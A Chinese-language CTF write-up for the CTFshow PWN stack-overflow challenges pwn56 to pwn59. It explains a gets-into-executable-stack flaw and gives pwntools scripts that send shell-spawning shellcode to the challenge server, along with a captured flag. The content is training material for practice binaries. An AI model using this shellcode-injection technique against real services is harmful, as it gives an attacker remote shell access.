CTFshow-PWN-栈溢出(pwn56-pwn59)
pwn56 和 pwn57 分别为 32 位 和 64 位的 shellcode
系统调用 execve("/bin/sh",NULL,NULL)
pwn56 伪代码
汇编代码
pwn57 伪代码
汇编代码
二者都是连上就可以直接交互
因为 execve 的参数已经配置好了
exp:
# @author:My6n
# @time:20250614
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.interactive()
接下来我们看 pwn58
main 函数无法反编译
我们直接看汇编
在栈帧初始化阶段,开辟了 0xA0 的空间,也就是 160 字节大小
注意看标红的部分:
[ebp+s] 其实就是 [ebp - 0xA0] 即 s 的地址
这里在调用 ctfshow 函数后,会 call s 这个地址
那么就会执行 s 指向内存里面的代码
我们再来看一下 ctfshow 函数:
gets 函数的参数就是 s
换句话说,我们输入的内容会被当做代码直接执行
由于 char s[160] 在栈上,我们检查一下程序:
没有开 NX 保护,那么可以执行
我们直接将 shellcode 写进去即可
exp:
# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28119)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
读取 flag
拿到 flag:ctfshow{cab1b4e4-8b6f-458f-89fc-2bd86bc01bd9}
pwn59 同理,只不过是 64 位
exp:
# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28252)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()